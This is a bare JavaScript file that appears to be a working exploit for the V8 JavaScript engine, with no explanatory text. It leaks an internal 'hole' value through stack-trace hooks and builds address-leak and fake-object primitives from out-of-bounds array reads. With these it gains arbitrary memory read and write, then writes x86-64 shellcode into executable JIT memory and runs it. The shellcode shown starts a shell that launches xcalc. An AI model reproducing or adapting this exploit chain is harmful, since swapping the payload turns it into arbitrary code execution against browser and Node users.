function
doubleToTwoInts(doubleValue) {
const buffer =
new
ArrayBuffer(8);
const view =
new
DataView(buffer);
view.setFloat64(0, doubleValue,
true
);
const intLow = view.getUint32(0,
true
);
const intHigh = view.getUint32(4,
true
);
return
[intLow, intHigh];
}
function
sleepSync(ms) {
const end = Date.now() + ms;
while
(Date.now() < end) {
}
}
function
twoIntsToDouble(intLow, intHigh) {
const buffer =
new
ArrayBuffer(8);
const view =
new
DataView(buffer);
view.setUint32(0, intLow,
true
);
view.setUint32(4, intHigh,
true
);
return
view.getFloat64(0,
true
);
}
var
h0le = [0];
function
leak_hole() {
function
rGlobal() {
h0le[0] = globalThis.stack;
}
Error.captureStackTrace(globalThis);
Error.prepareStackTrace =
function
() {
Reflect.deleteProperty(Error,
'prepareStackTrace'
);
Reflect.deleteProperty(globalThis,
'stack'
);
Reflect.defineProperty(
globalThis,
'stack'
,
{configurable:
false
, writable:
true
, enumerable:
true
, value: 1});
stack = undefined;
for
(let i = 0; i < 10000; i++) {
rGlobal();
}
sleepSync(2000);
return
undefined;
};
Reflect.defineProperty(
globalThis,
'stack'
,
{configurable:
true
, writable:
true
, enumerable:
true
, value: undefined});
delete
globalThis.stack;
rGlobal();
return
h0le[0];
}
function
leak_stuff(obj) {
let flag =
true
;
let index = Number(flag ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [obj];
var
value1 = arr1.at(index * 4);
var
value2 = arr1.at(index * 7);
return
[value2, value1, arr1, arr2];
}
var
map_of_double_arr = 0;
var
prototype_of_double_arr = 0;
function
build_fake_obj(addr) {
let flag =
true
;
let index = Number(flag ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [0, {}];
let arr2 = [addr, 1.1, 1.1, 1.1, 1.1];
let fake_obj = arr1.at(index*8);
return
[fake_obj, arr1, arr2];
}
function
addressof(obj) {
sleepSync(2000);
[value2, value1, arr1, arr2] = leak_stuff(obj);
var
double_arr_info = doubleToTwoInts(value1);
var
obj_addr = doubleToTwoInts(value2);
map_of_double_arr = double_arr_info[0];
prototype_of_double_arr = double_arr_info[1];
return
obj_addr[0];
}
let double_objcect = [1.1, 1.1];
function
get_double_objcect_of_addr(addr) {
let addr_of_arr = addressof(double_objcect);
double_objcect[0] = twoIntsToDouble(map_of_double_arr, prototype_of_double_arr);
double_objcect[1] = twoIntsToDouble(addr - 8, 20);
[fake, arr1, arr2] = build_fake_obj(twoIntsToDouble(addr_of_arr + 0x1dc, 0));
return
fake;
}
function
read(addr) {
fake = get_double_objcect_of_addr(addr);
return
doubleToTwoInts(fake[0]);
}
function
write(addr, value) {
fake = get_double_objcect_of_addr(addr);
fake[0] = twoIntsToDouble(value[0], value[1]);
}
function
write_shell_code(rwx_addr, shellcode) {
let shellArray =
new
Uint8Array(100);
shellArray.fill(1);
let shellArray_element_addr = addressof(shellArray) + 0x2c;
write(shellArray_element_addr, rwx_addr);
for
(let i = 0; i < shellcode.length; i++)
shellArray[i] = shellcode[i];
}
let shellcode =
new
Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x73, 0x68, 0x00, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
const the = { hole: leak_hole() };
sleepSync(2000);
for
(let i = 0; i < 10000; i++) {
leak_stuff(h0le);
}
addr = addressof(h0le);
for
(let i = 0; i < 10000; i++) {
build_fake_obj(addr);
}
function
shellcode_func() {
return
[
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
}
for
(let i = 0; i < 10000; i++) {
shellcode_func();
}
sleepSync(2000);
addr_of_shellcode = addressof(shellcode_func);
addr_of_code_u32 = read(addr_of_shellcode + 0x18)[0];
console.log(
"code object: "
+ addr_of_code_u32.toString(16));
addr_of_rwx_double = read(addr_of_code_u32 + 0x10);
console.log(
"rwx: 0x"
+ addr_of_rwx_double[1].toString(16) + addr_of_rwx_double[0].toString(16));
write_shell_code(addr_of_rwx_double, shellcode);
shellcode_func();